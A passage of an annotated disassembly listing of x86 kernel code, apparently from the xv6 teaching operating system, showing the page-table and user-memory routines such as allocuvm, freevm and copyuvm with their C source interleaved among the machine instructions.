// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
80106a10: 55 push %ebp
80106a11: 89 e5 mov %esp,%ebp
80106a13: 57 push %edi
80106a14: 56 push %esi
80106a15: 53 push %ebx
80106a16: 83 ec 0c sub $0xc,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80106a19: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106a20: 0f 85 91 00 00 00 jne 80106ab7 <loaduvm+0xa7>
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80106a26: 8b 75 18 mov 0x18(%ebp),%esi
80106a29: 31 db xor %ebx,%ebx
80106a2b: 85 f6 test %esi,%esi
80106a2d: 75 1a jne 80106a49 <loaduvm+0x39>
80106a2f: eb 6f jmp 80106aa0 <loaduvm+0x90>
80106a31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106a38: 81 c3 00 10 00 00 add $0x1000,%ebx
80106a3e: 81 ee 00 10 00 00 sub $0x1000,%esi
80106a44: 39 5d 18 cmp %ebx,0x18(%ebp)
80106a47: 76 57 jbe 80106aa0 <loaduvm+0x90>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80106a49: 8b 55 0c mov 0xc(%ebp),%edx
80106a4c: 8b 45 08 mov 0x8(%ebp),%eax
80106a4f: 31 c9 xor %ecx,%ecx
80106a51: 01 da add %ebx,%edx
80106a53: e8 58 fb ff ff call 801065b0 <walkpgdir>
80106a58: 85 c0 test %eax,%eax
80106a5a: 74 4e je 80106aaa <loaduvm+0x9a>
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106a5c: 8b 00 mov (%eax),%eax
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106a5e: 8b 4d 14 mov 0x14(%ebp),%ecx
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
if(sz - i < PGSIZE)
80106a61: bf 00 10 00 00 mov $0x1000,%edi
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106a66: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
80106a6b: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106a71: 0f 46 fe cmovbe %esi,%edi
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106a74: 01 d9 add %ebx,%ecx
80106a76: 05 00 00 00 80 add $0x80000000,%eax
80106a7b: 57 push %edi
80106a7c: 51 push %ecx
80106a7d: 50 push %eax
80106a7e: ff 75 10 pushl 0x10(%ebp)
80106a81: e8 ba ae ff ff call 80101940 <readi>
80106a86: 83 c4 10 add $0x10,%esp
80106a89: 39 c7 cmp %eax,%edi
80106a8b: 74 ab je 80106a38 <loaduvm+0x28>
return -1;
}
return 0;
}
80106a8d: 8d 65 f4 lea -0xc(%ebp),%esp
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
80106a90: b8 ff ff ff ff mov $0xffffffff,%eax
}
return 0;
}
80106a95: 5b pop %ebx
80106a96: 5e pop %esi
80106a97: 5f pop %edi
80106a98: 5d pop %ebp
80106a99: c3 ret
80106a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106aa0: 8d 65 f4 lea -0xc(%ebp),%esp
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
}
return 0;
80106aa3: 31 c0 xor %eax,%eax
}
80106aa5: 5b pop %ebx
80106aa6: 5e pop %esi
80106aa7: 5f pop %edi
80106aa8: 5d pop %ebp
80106aa9: c3 ret
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
80106aaa: 83 ec 0c sub $0xc,%esp
80106aad: 68 6b 78 10 80 push $0x8010786b
80106ab2: e8 b9 98 ff ff call 80100370 <panic>
{
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
80106ab7: 83 ec 0c sub $0xc,%esp
80106aba: 68 0c 79 10 80 push $0x8010790c
80106abf: e8 ac 98 ff ff call 80100370 <panic>
80106ac4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106aca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106ad0 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106ad0: 55 push %ebp
80106ad1: 89 e5 mov %esp,%ebp
80106ad3: 57 push %edi
80106ad4: 56 push %esi
80106ad5: 53 push %ebx
80106ad6: 83 ec 0c sub $0xc,%esp
80106ad9: 8b 7d 10 mov 0x10(%ebp),%edi
char *mem;
uint a;
if(newsz >= KERNBASE)
80106adc: 85 ff test %edi,%edi
80106ade: 0f 88 ca 00 00 00 js 80106bae <allocuvm+0xde>
return 0;
if(newsz < oldsz)
80106ae4: 3b 7d 0c cmp 0xc(%ebp),%edi
return oldsz;
80106ae7: 8b 45 0c mov 0xc(%ebp),%eax
char *mem;
uint a;
if(newsz >= KERNBASE)
return 0;
if(newsz < oldsz)
80106aea: 0f 82 82 00 00 00 jb 80106b72 <allocuvm+0xa2>
return oldsz;
a = PGROUNDUP(oldsz);
80106af0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106af6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
80106afc: 39 df cmp %ebx,%edi
80106afe: 77 43 ja 80106b43 <allocuvm+0x73>
80106b00: e9 bb 00 00 00 jmp 80106bc0 <allocuvm+0xf0>
80106b05: 8d 76 00 lea 0x0(%esi),%esi
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
80106b08: 83 ec 04 sub $0x4,%esp
80106b0b: 68 00 10 00 00 push $0x1000
80106b10: 6a 00 push $0x0
80106b12: 50 push %eax
80106b13: e8 58 d9 ff ff call 80104470 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106b18: 58 pop %eax
80106b19: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106b1f: b9 00 10 00 00 mov $0x1000,%ecx
80106b24: 5a pop %edx
80106b25: 6a 06 push $0x6
80106b27: 50 push %eax
80106b28: 89 da mov %ebx,%edx
80106b2a: 8b 45 08 mov 0x8(%ebp),%eax
80106b2d: e8 fe fa ff ff call 80106630 <mappages>
80106b32: 83 c4 10 add $0x10,%esp
80106b35: 85 c0 test %eax,%eax
80106b37: 78 47 js 80106b80 <allocuvm+0xb0>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80106b39: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b3f: 39 df cmp %ebx,%edi
80106b41: 76 7d jbe 80106bc0 <allocuvm+0xf0>
mem = kalloc();
80106b43: e8 38 b9 ff ff call 80102480 <kalloc>
if(mem == 0){
80106b48: 85 c0 test %eax,%eax
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
mem = kalloc();
80106b4a: 89 c6 mov %eax,%esi
if(mem == 0){
80106b4c: 75 ba jne 80106b08 <allocuvm+0x38>
cprintf("allocuvm out of memory\n");
80106b4e: 83 ec 0c sub $0xc,%esp
80106b51: 68 89 78 10 80 push $0x80107889
80106b56: e8 05 9b ff ff call 80100660 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106b5b: 83 c4 10 add $0x10,%esp
80106b5e: 3b 7d 0c cmp 0xc(%ebp),%edi
80106b61: 76 4b jbe 80106bae <allocuvm+0xde>
80106b63: 8b 4d 0c mov 0xc(%ebp),%ecx
80106b66: 8b 45 08 mov 0x8(%ebp),%eax
80106b69: 89 fa mov %edi,%edx
80106b6b: e8 50 fb ff ff call 801066c0 <deallocuvm.part.0>
for(; a < newsz; a += PGSIZE){
mem = kalloc();
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
80106b70: 31 c0 xor %eax,%eax
kfree(mem);
return 0;
}
}
return newsz;
}
80106b72: 8d 65 f4 lea -0xc(%ebp),%esp
80106b75: 5b pop %ebx
80106b76: 5e pop %esi
80106b77: 5f pop %edi
80106b78: 5d pop %ebp
80106b79: c3 ret
80106b7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
80106b80: 83 ec 0c sub $0xc,%esp
80106b83: 68 a1 78 10 80 push $0x801078a1
80106b88: e8 d3 9a ff ff call 80100660 <cprintf>
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106b8d: 83 c4 10 add $0x10,%esp
80106b90: 3b 7d 0c cmp 0xc(%ebp),%edi
80106b93: 76 0d jbe 80106ba2 <allocuvm+0xd2>
80106b95: 8b 4d 0c mov 0xc(%ebp),%ecx
80106b98: 8b 45 08 mov 0x8(%ebp),%eax
80106b9b: 89 fa mov %edi,%edx
80106b9d: e8 1e fb ff ff call 801066c0 <deallocuvm.part.0>
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
80106ba2: 83 ec 0c sub $0xc,%esp
80106ba5: 56 push %esi
80106ba6: e8 25 b7 ff ff call 801022d0 <kfree>
return 0;
80106bab: 83 c4 10 add $0x10,%esp
}
}
return newsz;
}
80106bae: 8d 65 f4 lea -0xc(%ebp),%esp
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
return 0;
80106bb1: 31 c0 xor %eax,%eax
}
}
return newsz;
}
80106bb3: 5b pop %ebx
80106bb4: 5e pop %esi
80106bb5: 5f pop %edi
80106bb6: 5d pop %ebp
80106bb7: c3 ret
80106bb8: 90 nop
80106bb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106bc0: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80106bc3: 89 f8 mov %edi,%eax
kfree(mem);
return 0;
}
}
return newsz;
}
80106bc5: 5b pop %ebx
80106bc6: 5e pop %esi
80106bc7: 5f pop %edi
80106bc8: 5d pop %ebp
80106bc9: c3 ret
80106bca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106bd0 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106bd0: 55 push %ebp
80106bd1: 89 e5 mov %esp,%ebp
80106bd3: 8b 55 0c mov 0xc(%ebp),%edx
80106bd6: 8b 4d 10 mov 0x10(%ebp),%ecx
80106bd9: 8b 45 08 mov 0x8(%ebp),%eax
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106bdc: 39 d1 cmp %edx,%ecx
80106bde: 73 10 jae 80106bf0 <deallocuvm+0x20>
kfree(v);
*pte = 0;
}
}
return newsz;
}
80106be0: 5d pop %ebp
80106be1: e9 da fa ff ff jmp 801066c0 <deallocuvm.part.0>
80106be6: 8d 76 00 lea 0x0(%esi),%esi
80106be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106bf0: 89 d0 mov %edx,%eax
80106bf2: 5d pop %ebp
80106bf3: c3 ret
80106bf4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106bfa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106c00 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80106c00: 55 push %ebp
80106c01: 89 e5 mov %esp,%ebp
80106c03: 57 push %edi
80106c04: 56 push %esi
80106c05: 53 push %ebx
80106c06: 83 ec 0c sub $0xc,%esp
80106c09: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
80106c0c: 85 f6 test %esi,%esi
80106c0e: 74 59 je 80106c69 <freevm+0x69>
80106c10: 31 c9 xor %ecx,%ecx
80106c12: ba 00 00 00 80 mov $0x80000000,%edx
80106c17: 89 f0 mov %esi,%eax
80106c19: e8 a2 fa ff ff call 801066c0 <deallocuvm.part.0>
80106c1e: 89 f3 mov %esi,%ebx
80106c20: 8d be 00 10 00 00 lea 0x1000(%esi),%edi
80106c26: eb 0f jmp 80106c37 <freevm+0x37>
80106c28: 90 nop
80106c29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106c30: 83 c3 04 add $0x4,%ebx
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106c33: 39 fb cmp %edi,%ebx
80106c35: 74 23 je 80106c5a <freevm+0x5a>
if(pgdir[i] & PTE_P){
80106c37: 8b 03 mov (%ebx),%eax
80106c39: a8 01 test $0x1,%al
80106c3b: 74 f3 je 80106c30 <freevm+0x30>
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
80106c3d: 25 00 f0 ff ff and $0xfffff000,%eax
80106c42: 83 ec 0c sub $0xc,%esp
80106c45: 83 c3 04 add $0x4,%ebx
80106c48: 05 00 00 00 80 add $0x80000000,%eax
80106c4d: 50 push %eax
80106c4e: e8 7d b6 ff ff call 801022d0 <kfree>
80106c53: 83 c4 10 add $0x10,%esp
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106c56: 39 fb cmp %edi,%ebx
80106c58: 75 dd jne 80106c37 <freevm+0x37>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106c5a: 89 75 08 mov %esi,0x8(%ebp)
}
80106c5d: 8d 65 f4 lea -0xc(%ebp),%esp
80106c60: 5b pop %ebx
80106c61: 5e pop %esi
80106c62: 5f pop %edi
80106c63: 5d pop %ebp
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106c64: e9 67 b6 ff ff jmp 801022d0 <kfree>
freevm(pde_t *pgdir)
{
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
80106c69: 83 ec 0c sub $0xc,%esp
80106c6c: 68 bd 78 10 80 push $0x801078bd
80106c71: e8 fa 96 ff ff call 80100370 <panic>
80106c76: 8d 76 00 lea 0x0(%esi),%esi
80106c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c80 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80106c80: 55 push %ebp
80106c81: 89 e5 mov %esp,%ebp
80106c83: 56 push %esi
80106c84: 53 push %ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80106c85: e8 f6 b7 ff ff call 80102480 <kalloc>
80106c8a: 85 c0 test %eax,%eax
80106c8c: 74 6a je 80106cf8 <setupkvm+0x78>
return 0;
memset(pgdir, 0, PGSIZE);
80106c8e: 83 ec 04 sub $0x4,%esp
80106c91: 89 c6 mov %eax,%esi
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106c93: bb 20 a4 10 80 mov $0x8010a420,%ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
80106c98: 68 00 10 00 00 push $0x1000
80106c9d: 6a 00 push $0x0
80106c9f: 50 push %eax
80106ca0: e8 cb d7 ff ff call 80104470 <memset>
80106ca5: 83 c4 10 add $0x10,%esp
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106ca8: 8b 43 04 mov 0x4(%ebx),%eax
80106cab: 8b 4b 08 mov 0x8(%ebx),%ecx
80106cae: 83 ec 08 sub $0x8,%esp
80106cb1: 8b 13 mov (%ebx),%edx
80106cb3: ff 73 0c pushl 0xc(%ebx)
80106cb6: 50 push %eax
80106cb7: 29 c1 sub %eax,%ecx
80106cb9: 89 f0 mov %esi,%eax
80106cbb: e8 70 f9 ff ff call 80106630 <mappages>
80106cc0: 83 c4 10 add $0x10,%esp
80106cc3: 85 c0 test %eax,%eax
80106cc5: 78 19 js 80106ce0 <setupkvm+0x60>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106cc7: 83 c3 10 add $0x10,%ebx
80106cca: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106cd0: 75 d6 jne 80106ca8 <setupkvm+0x28>
80106cd2: 89 f0 mov %esi,%eax
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
return 0;
}
return pgdir;
}
80106cd4: 8d 65 f8 lea -0x8(%ebp),%esp
80106cd7: 5b pop %ebx
80106cd8: 5e pop %esi
80106cd9: 5d pop %ebp
80106cda: c3 ret
80106cdb: 90 nop
80106cdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
80106ce0: 83 ec 0c sub $0xc,%esp
80106ce3: 56 push %esi
80106ce4: e8 17 ff ff ff call 80106c00 <freevm>
return 0;
80106ce9: 83 c4 10 add $0x10,%esp
}
return pgdir;
}
80106cec: 8d 65 f8 lea -0x8(%ebp),%esp
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
return 0;
80106cef: 31 c0 xor %eax,%eax
}
return pgdir;
}
80106cf1: 5b pop %ebx
80106cf2: 5e pop %esi
80106cf3: 5d pop %ebp
80106cf4: c3 ret
80106cf5: 8d 76 00 lea 0x0(%esi),%esi
{
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
80106cf8: 31 c0 xor %eax,%eax
80106cfa: eb d8 jmp 80106cd4 <setupkvm+0x54>
80106cfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106d00 <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
80106d00: 55 push %ebp
80106d01: 89 e5 mov %esp,%ebp
80106d03: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80106d06: e8 75 ff ff ff call 80106c80 <setupkvm>
80106d0b: a3 a4 55 11 80 mov %eax,0x801155a4
80106d10: 05 00 00 00 80 add $0x80000000,%eax
80106d15: 0f 22 d8 mov %eax,%cr3
switchkvm();
}
80106d18: c9 leave
80106d19: c3 ret
80106d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d20 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106d20: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106d21: 31 c9 xor %ecx,%ecx
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106d23: 89 e5 mov %esp,%ebp
80106d25: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106d28: 8b 55 0c mov 0xc(%ebp),%edx
80106d2b: 8b 45 08 mov 0x8(%ebp),%eax
80106d2e: e8 7d f8 ff ff call 801065b0 <walkpgdir>
if(pte == 0)
80106d33: 85 c0 test %eax,%eax
80106d35: 74 05 je 80106d3c <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80106d37: 83 20 fb andl $0xfffffffb,(%eax)
}
80106d3a: c9 leave
80106d3b: c3 ret
{
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
if(pte == 0)
panic("clearpteu");
80106d3c: 83 ec 0c sub $0xc,%esp
80106d3f: 68 ce 78 10 80 push $0x801078ce
80106d44: e8 27 96 ff ff call 80100370 <panic>
80106d49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106d50 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80106d50: 55 push %ebp
80106d51: 89 e5 mov %esp,%ebp
80106d53: 57 push %edi
80106d54: 56 push %esi
80106d55: 53 push %ebx
80106d56: 83 ec 1c sub $0x1c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80106d59: e8 22 ff ff ff call 80106c80 <setupkvm>
80106d5e: 85 c0 test %eax,%eax
80106d60: 89 45 e0 mov %eax,-0x20(%ebp)
80106d63: 0f 84 c5 00 00 00 je 80106e2e <copyuvm+0xde>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106d69: 8b 4d 0c mov 0xc(%ebp),%ecx
80106d6c: 85 c9 test %ecx,%ecx
80106d6e: 0f 84 9c 00 00 00 je 80106e10 <copyuvm+0xc0>
80106d74: 31 ff xor %edi,%edi
80106d76: eb 4a jmp 80106dc2 <copyuvm+0x72>
80106d78: 90 nop
80106d79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106d80: 83 ec 04 sub $0x4,%esp
80106d83: 81 c3 00 00 00 80 add $0x80000000,%ebx
80106d89: 68 00 10 00 00 push $0x1000
80106d8e: 53 push %ebx
80106d8f: 50 push %eax
80106d90: e8 8b d7 ff ff call 80104520 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
80106d95: 58 pop %eax
80106d96: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106d9c: b9 00 10 00 00 mov $0x1000,%ecx
80106da1: 5a pop %edx
80106da2: ff 75 e4 pushl -0x1c(%ebp)
80106da5: 50 push %eax
80106da6: 89 fa mov %edi,%edx
80106da8: 8b 45 e0 mov -0x20(%ebp),%eax
80106dab: e8 80 f8 ff ff call 80106630 <mappages>
80106db0: 83 c4 10 add $0x10,%esp
80106db3: 85 c0 test %eax,%eax
80106db5: 78 69 js 80106e20 <copyuvm+0xd0>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106db7: 81 c7 00 10 00 00 add $0x1000,%edi
80106dbd: 39 7d 0c cmp %edi,0xc(%ebp)
80106dc0: 76 4e jbe 80106e10 <copyuvm+0xc0>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106dc2: 8b 45 08 mov 0x8(%ebp),%eax
80106dc5: 31 c9 xor %ecx,%ecx
80106dc7: 89 fa mov %edi,%edx
80106dc9: e8 e2 f7 ff ff call 801065b0 <walkpgdir>
80106dce: 85 c0 test %eax,%eax
80106dd0: 74 6d je 80106e3f <copyuvm+0xef>
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
80106dd2: 8b 00 mov (%eax),%eax
80106dd4: a8 01 test $0x1,%al
80106dd6: 74 5a je 80106e32 <copyuvm+0xe2>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106dd8: 89 c3 mov %eax,%ebx
flags = PTE_FLAGS(*pte);
80106dda: 25 ff 0f 00 00 and $0xfff,%eax
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106ddf: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
flags = PTE_FLAGS(*pte);
80106de5: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
80106de8: e8 93 b6 ff ff call 80102480 <kalloc>
80106ded: 85 c0 test %eax,%eax
80106def: 89 c6 mov %eax,%esi
80106df1: 75 8d jne 80106d80 <copyuvm+0x30>
}
}
return d;
bad:
freevm(d);
80106df3: 83 ec 0c sub $0xc,%esp
80106df6: ff 75 e0 pushl -0x20(%ebp)
80106df9: e8 02 fe ff ff call 80106c00 <freevm>
return 0;
80106dfe: 83 c4 10 add $0x10,%esp
80106e01: 31 c0 xor %eax,%eax
}
80106e03: 8d 65 f4 lea -0xc(%ebp),%esp
80106e06: 5b pop %ebx
80106e07: 5e pop %esi
80106e08: 5f pop %edi
80106e09: 5d pop %ebp
80106e0a: c3 ret
80106e0b: 90 nop
80106e0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106e10: 8b 45 e0 mov -0x20(%ebp),%eax
return d;
bad:
freevm(d);
return 0;
}
80106e13: 8d 65 f4 lea -0xc(%ebp),%esp
80106e16: 5b pop %ebx
80106e17: 5e pop %esi
80106e18: 5f pop %edi
80106e19: 5d pop %ebp
80106e1a: c3 ret
80106e1b: 90 nop
80106e1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
kfree(mem);
80106e20: 83 ec 0c sub $0xc,%esp
80106e23: 56 push %esi
80106e24: e8 a7 b4 ff ff call 801022d0 <kfree>
goto bad;
80106e29: 83 c4 10 add $0x10,%esp
80106e2c: eb c5 jmp 80106df3 <copyuvm+0xa3>
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
80106e2e: 31 c0 xor %eax,%eax
80106e30: eb d1 jmp 80106e03 <copyuvm+0xb3>
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
80106e32: 83 ec 0c sub $0xc,%esp
80106e35: 68 f2 78 10 80 push $0x801078f2
80106e3a: e8 31 95 ff ff call 80100370 <panic>
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
80106e3f: 83 ec 0c sub $0xc,%esp
80106e42: 68 d8 78 10 80 push $0x801078d8
80106e47: e8 24 95 ff ff call 80100370 <panic>
80106e4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106e50 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106e50: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106e51: 31 c9 xor %ecx,%ecx
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106e53: 89 e5 mov %esp,%ebp
80106e55: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106e58: 8b 55 0c mov 0xc(%ebp),%edx
80106e5b: 8b 45 08 mov 0x8(%ebp),%eax
80106e5e: e8 4d f7 ff ff call 801065b0 <walkpgdir>
if((*pte & PTE_P) == 0)
80106e63: 8b 00 mov (%eax),%eax
return 0;
if((*pte & PTE_U) == 0)
80106e65: 89 c2 mov %eax,%edx
80106e67: 83 e2 05 and $0x5,%edx
80106e6a: 83 fa 05 cmp $0x5,%edx
80106e6d: 75 11 jne 80106e80 <uva2ka+0x30>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106e6f: 25 00 f0 ff ff and $0xfffff000,%eax
}
